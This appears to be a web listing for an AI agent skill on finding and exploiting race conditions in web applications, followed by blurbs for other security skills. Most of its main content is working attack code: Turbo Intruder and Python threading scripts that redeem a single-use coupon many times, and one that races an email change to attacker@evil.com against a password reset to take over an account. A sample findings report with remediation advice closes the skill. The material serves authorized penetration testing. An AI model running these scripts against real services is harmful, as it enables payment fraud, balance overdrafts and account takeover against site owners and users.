Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Detect and exploit race condition vulnerabilities in web applications using Turbo Intruder's single-packet attack technique to bypass rate limits, duplicate transactions, and exploit time-of-check-to-time-of-use flaws.
インストールする前に、エージェントに与えられる指示の中身を確認できます。
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
# Common race condition targets:
# - Coupon/discount code redemption (limit: 1 per user)
# - Account balance transfers
# - Inventory purchase (limited stock)
# - Rate-limited operations (login attempts, SMS verification)
# - Multi-step workflows (email change + password reset)
# - File upload + processing pipelines
# Capture the target request in Burp Suite
# Send to Turbo Intruder (Extensions > Turbo Intruder > Send to Turbo Intruder)
# Turbo Intruder script for single-packet race condition
# This sends all requests simultaneously in one TCP packet
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Queue 20 identical requests for the same operation
for i in range(20):
engine.queue(target.req, gate='race1')
# Hold all requests until ready
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
# Turbo Intruder script for coupon/discount limit bypass
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=50,
engine=Engine.BURP2)
# Send 50 coupon redemption requests simultaneously
for i in range(50):
engine.queue(target.req, gate='coupon_race')
engine.openGate('coupon_race')
def handleResponse(req, interesting):
# Flag successful redemptions (200 OK)
if req.status == 200:
table.add(req)
# Race condition between two different endpoints
# Example: Change email + trigger password reset simultaneously
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# Request 1: Change email to attacker@evil.com
email_change = '''POST /api/change-email HTTP/2
Host: target.com
Cookie: session=VALID_SESSION
Content-Type: application/json
{"email":"attacker@evil.com"}'''
# Request 2: Trigger password reset (goes to original email)
password_reset = '''POST /api/reset-password HTTP/2
Host: target.com
Content-Type: application/json
{"email":"victim@target.com"}'''
engine.queue(email_change, gate='race1')
engine.queue(password_reset, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
import threading
import requests
TARGET_URL = "http://target.com/api/redeem-coupon"
COUPON_CODE = "DISCOUNT50"
SESSION_COOKIE = "session=abc123"
def send_request():
response = requests.post(
TARGET_URL,
json={"coupon": COUPON_CODE},
headers={"Cookie": SESSION_COOKIE},
timeout=10
)
print(f"Status: {response.status_code}, Response: {response.text[:100]}")
# Create barrier to synchronize thread start
barrier = threading.Barrier(20)
def synchronized_request():
barrier.wait() # All threads wait here, then start together
send_request()
threads = [threading.Thread(target=synchronized_request) for _ in range(20)]
for t in threads:
t.start()
for t in threads:
t.join()
# In Turbo Intruder results:
# - Sort by status code to identify successful requests
# - Compare response lengths to find anomalies
# - Check if more than one request succeeded (limit overrun confirmed)
# - Verify backend state (balance, inventory, coupon count)
# Document the race window timing
# Successful race conditions typically require:
# - HTTP/2 single-packet attack: ~30 seconds to find
# - Last-byte sync (HTTP/1.1): ~2+ hours to find
# - Thread-based approach: Variable, less reliable
| Concept | Description |
|---|---|
| TOCTOU | Time-of-Check-to-Time-of-Use flaw where state changes between validation and action |
| Single-Packet Attack | Sending multiple HTTP/2 requests in one TCP packet for precise synchronization |
| Last-Byte Sync | HTTP/1.1 technique holding final byte of multiple requests then releasing simultaneously |
| Limit Overrun | Exceeding one-time-use limits by exploiting race windows in validation logic |
| Hidden State Machine | Exploiting transitional states in multi-step application workflows |
| Gate Mechanism | Turbo Intruder feature that holds requests until all are queued, then releases simultaneously |
| Connection Warming | Pre-establishing connections to reduce network jitter in race condition attacks |
| Tool | Purpose |
|---|---|
| Turbo Intruder | Burp Suite extension for high-speed race condition exploitation |
| Burp Suite Repeater | Group send feature for basic race condition testing |
| Nuclei | Template-based scanner with race condition detection templates |
| Python threading | Custom multi-threaded race condition scripts |
| racepwn | Dedicated race condition testing framework |
| asyncio/aiohttp | Python async HTTP for concurrent request sending |
## Race Condition Assessment Report
- **Target**: http://target.com/api/redeem-coupon
- **Technique**: HTTP/2 Single-Packet Attack via Turbo Intruder
- **Concurrent Requests**: 20
- **Successful Exploitations**: 4 out of 20
### Findings
| # | Endpoint | Operation | Expected | Actual | Severity |
|---|----------|-----------|----------|--------|----------|
| 1 | POST /redeem-coupon | Single use coupon | 1 redemption | 4 redemptions | High |
| 2 | POST /transfer | Balance transfer | Limited by balance | Overdraft achieved | Critical |
### Race Window Analysis
- HTTP/2 single-packet: Reliable exploitation in <30 seconds
- Success rate: ~20% per batch of 20 requests
- Race window estimated: 50-100ms
### Remediation
- Implement database-level locking (SELECT FOR UPDATE) on critical operations
- Use optimistic concurrency control with version numbers
- Apply idempotency keys for state-changing requests
- Implement distributed locks for multi-server environments
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths
日本語の概要は準備中です。原文の説明を表示しています。
Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.
日本語の概要は準備中です。原文の説明を表示しています。
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.
日本語の概要は準備中です。原文の説明を表示しています。
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.
日本語の概要は準備中です。原文の説明を表示しています。
Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative operations, impossible travel, privilege escalation, and resource modifications. Builds KQL queries for threat hunting in Azure environments. Use when investigating suspicious Azure tenant activity or building cloud SIEM detections.
日本語の概要は準備中です。原文の説明を表示しています。